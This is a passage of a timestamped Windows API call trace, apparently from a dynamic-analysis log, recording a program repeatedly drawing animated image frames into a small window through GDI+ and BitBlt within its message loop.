(graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.369] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.370] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.370] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.370] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.371] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0174.371] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.371] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.371] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.371] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.371] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.371] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.371] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.371] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.372] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.372] GetCurrentObject (hdc=0x6010d04, type=0x1) returned 0x1b00017 [0174.372] GetCurrentObject (hdc=0x6010d04, type=0x2) returned 0x1900010 [0174.372] GetCurrentObject (hdc=0x6010d04, type=0x7) returned 0x1a05067e [0174.372] GetCurrentObject (hdc=0x6010d04, type=0x6) returned 0x18a002e [0174.372] SaveDC (hdc=0x6010d04) returned 1 [0174.372] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x29040b8a [0174.372] GetClipRgn (hdc=0x6010d04, hrgn=0x29040b8a) returned 0 [0174.372] SelectClipRgn (hdc=0x6010d04, hrgn=0x590407c3) returned 2 [0174.372] DeleteObject (ho=0x29040b8a) returned 1 [0174.372] DeleteObject (ho=0x590407c3) returned 1 [0174.372] OffsetViewportOrgEx (in: hdc=0x6010d04, x=0, y=0, lppt=0x2751268 | out: lppt=0x2751268) returned 1 [0174.373] GetNearestColor (hdc=0x6010d04, color=0xffffff) returned 0xffffff [0174.373] CreateSolidBrush (color=0xffffff) returned 0x31100190 [0174.373] FillRect (hDC=0x6010d04, lprc=0x15d7c0, hbr=0x31100190) returned 1 [0174.373] DeleteObject (ho=0x31100190) returned 1 [0174.373] RestoreDC (hdc=0x6010d04, nSavedDC=-1) returned 1 [0174.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.373] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010d04) returned 0x0 [0174.373] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb840dbd) returned 0x0 [0174.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.373] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0174.373] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.373] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.373] GetSystemMetrics (nIndex=42) returned 0 [0174.373] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.374] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.374] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.374] CoTaskMemFree (pv=0x1e91eca0) [0174.374] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0174.375] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.376] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.376] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.376] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.376] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x6010d04, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.376] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010d04) returned 0x0 [0174.376] SelectObject (hdc=0x6010d04, h=0x185000f) returned 0x1a05067e [0174.376] DeleteDC (hdc=0x6010d04) returned 1 [0174.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.376] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.376] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.376] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.376] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.377] WaitMessage () returned 1 [0174.490] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.490] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.490] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.491] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.491] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.491] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.491] GetCurrentThreadId () returned 0xec0 [0174.491] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.491] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.491] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.491] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.491] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.491] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.491] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0174.491] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.492] CreateCompatibleDC (hdc=0x3010b83) returned 0x10010d02 [0174.492] SelectObject (hdc=0x10010d02, h=0x1a05067e) returned 0x185000f [0174.492] GdipCreateFromHDC (hdc=0x10010d02, graphics=0x15daf0) returned 0x0 [0174.492] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.492] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.492] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.492] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.492] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.492] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.492] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.493] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.493] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.493] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.494] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.494] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0174.494] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.494] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.494] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.494] GetSystemMetrics (nIndex=42) returned 0 [0174.494] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.494] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.494] CoTaskMemFree (pv=0x1e91eca0) [0174.495] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.495] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.495] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.495] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.495] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.495] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.495] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.495] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.496] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.496] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0174.496] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.496] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.496] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.497] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.497] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.497] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.497] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.497] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.497] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.497] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.497] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.497] GetCurrentObject (hdc=0x10010d02, type=0x1) returned 0x1b00017 [0174.497] GetCurrentObject (hdc=0x10010d02, type=0x2) returned 0x1900010 [0174.498] GetCurrentObject (hdc=0x10010d02, type=0x7) returned 0x1a05067e [0174.498] GetCurrentObject (hdc=0x10010d02, type=0x6) returned 0x18a002e [0174.498] SaveDC (hdc=0x10010d02) returned 1 [0174.498] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5a0407c3 [0174.498] GetClipRgn (hdc=0x10010d02, hrgn=0x5a0407c3) returned 0 [0174.498] SelectClipRgn (hdc=0x10010d02, hrgn=0x2a040b8a) returned 2 [0174.498] DeleteObject (ho=0x5a0407c3) returned 1 [0174.498] DeleteObject (ho=0x2a040b8a) returned 1 [0174.498] OffsetViewportOrgEx (in: hdc=0x10010d02, x=0, y=0, lppt=0x2752590 | out: lppt=0x2752590) returned 1 [0174.498] GetNearestColor (hdc=0x10010d02, color=0xffffff) returned 0xffffff [0174.499] CreateSolidBrush (color=0xffffff) returned 0x32100190 [0174.499] FillRect (hDC=0x10010d02, lprc=0x15d7c0, hbr=0x32100190) returned 1 [0174.499] DeleteObject (ho=0x32100190) returned 1 [0174.499] RestoreDC (hdc=0x10010d02, nSavedDC=-1) returned 1 [0174.499] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.499] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x10010d02) returned 0x0 [0174.499] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb820dbd) returned 0x0 [0174.499] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.499] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0174.499] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.499] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.499] GetSystemMetrics (nIndex=42) returned 0 [0174.499] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.500] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.500] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.500] CoTaskMemFree (pv=0x1e91eca0) [0174.500] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.500] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.500] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.500] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.500] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x10010d02, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.500] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.500] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x10010d02) returned 0x0 [0174.500] SelectObject (hdc=0x10010d02, h=0x185000f) returned 0x1a05067e [0174.500] DeleteDC (hdc=0x10010d02) returned 1 [0174.501] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.501] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.501] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.501] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.501] WaitMessage () returned 1 [0174.616] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.616] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.616] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.616] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.616] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.616] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.616] GetCurrentThreadId () returned 0xec0 [0174.616] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.616] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.616] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.616] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.616] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.616] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.617] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0174.617] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.617] CreateCompatibleDC (hdc=0x3010b83) returned 0x12010d02 [0174.617] SelectObject (hdc=0x12010d02, h=0x1a05067e) returned 0x185000f [0174.617] GdipCreateFromHDC (hdc=0x12010d02, graphics=0x15daf0) returned 0x0 [0174.617] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.617] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.617] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.618] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.618] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.618] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.618] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.618] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.619] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.619] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.619] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.619] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0174.619] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.619] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.619] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.619] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.619] GetSystemMetrics (nIndex=42) returned 0 [0174.619] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.619] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.619] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.619] CoTaskMemFree (pv=0x1e91eca0) [0174.619] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.620] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.620] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.620] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.620] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.620] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.620] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.620] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.620] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.621] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0174.621] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.621] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.621] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.621] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.621] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.621] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.621] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.621] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.621] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.621] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.622] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.622] GetCurrentObject (hdc=0x12010d02, type=0x1) returned 0x1b00017 [0174.622] GetCurrentObject (hdc=0x12010d02, type=0x2) returned 0x1900010 [0174.622] GetCurrentObject (hdc=0x12010d02, type=0x7) returned 0x1a05067e [0174.622] GetCurrentObject (hdc=0x12010d02, type=0x6) returned 0x18a002e [0174.622] SaveDC (hdc=0x12010d02) returned 1 [0174.622] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2b040b8a [0174.622] GetClipRgn (hdc=0x12010d02, hrgn=0x2b040b8a) returned 0 [0174.622] SelectClipRgn (hdc=0x12010d02, hrgn=0x5b0407c3) returned 2 [0174.622] DeleteObject (ho=0x2b040b8a) returned 1 [0174.622] DeleteObject (ho=0x5b0407c3) returned 1 [0174.622] OffsetViewportOrgEx (in: hdc=0x12010d02, x=0, y=0, lppt=0x2752ec8 | out: lppt=0x2752ec8) returned 1 [0174.622] GetNearestColor (hdc=0x12010d02, color=0xffffff) returned 0xffffff [0174.623] CreateSolidBrush (color=0xffffff) returned 0x33100190 [0174.623] FillRect (hDC=0x12010d02, lprc=0x15d7c0, hbr=0x33100190) returned 1 [0174.623] DeleteObject (ho=0x33100190) returned 1 [0174.623] RestoreDC (hdc=0x12010d02, nSavedDC=-1) returned 1 [0174.623] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.623] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x12010d02) returned 0x0 [0174.623] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb800dbd) returned 0x0 [0174.623] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.623] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0174.623] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.624] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.624] GetSystemMetrics (nIndex=42) returned 0 [0174.624] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.624] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.624] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.624] CoTaskMemFree (pv=0x1e91eca0) [0174.624] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0174.626] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.626] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.626] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.626] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.626] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x12010d02, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.626] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.626] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x12010d02) returned 0x0 [0174.627] SelectObject (hdc=0x12010d02, h=0x185000f) returned 0x1a05067e [0174.627] DeleteDC (hdc=0x12010d02) returned 1 [0174.627] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.627] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.627] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.627] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.627] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.627] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.627] WaitMessage () returned 1 [0174.743] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.743] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.743] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.743] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.743] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.743] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.743] GetCurrentThreadId () returned 0xec0 [0174.743] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.743] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.743] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.743] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.743] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.743] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.743] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0174.743] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.744] CreateCompatibleDC (hdc=0x3010b83) returned 0x13010d02 [0174.744] SelectObject (hdc=0x13010d02, h=0x1a05067e) returned 0x185000f [0174.744] GdipCreateFromHDC (hdc=0x13010d02, graphics=0x15daf0) returned 0x0 [0174.744] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.744] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.744] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.744] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.744] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.744] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.744] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.745] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.745] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.745] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.746] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.746] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0174.746] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.746] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.746] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.746] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.746] GetSystemMetrics (nIndex=42) returned 0 [0174.746] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.746] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.746] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.746] CoTaskMemFree (pv=0x1e91eca0) [0174.746] GetClientRect (in: hWnd=0x2031e, 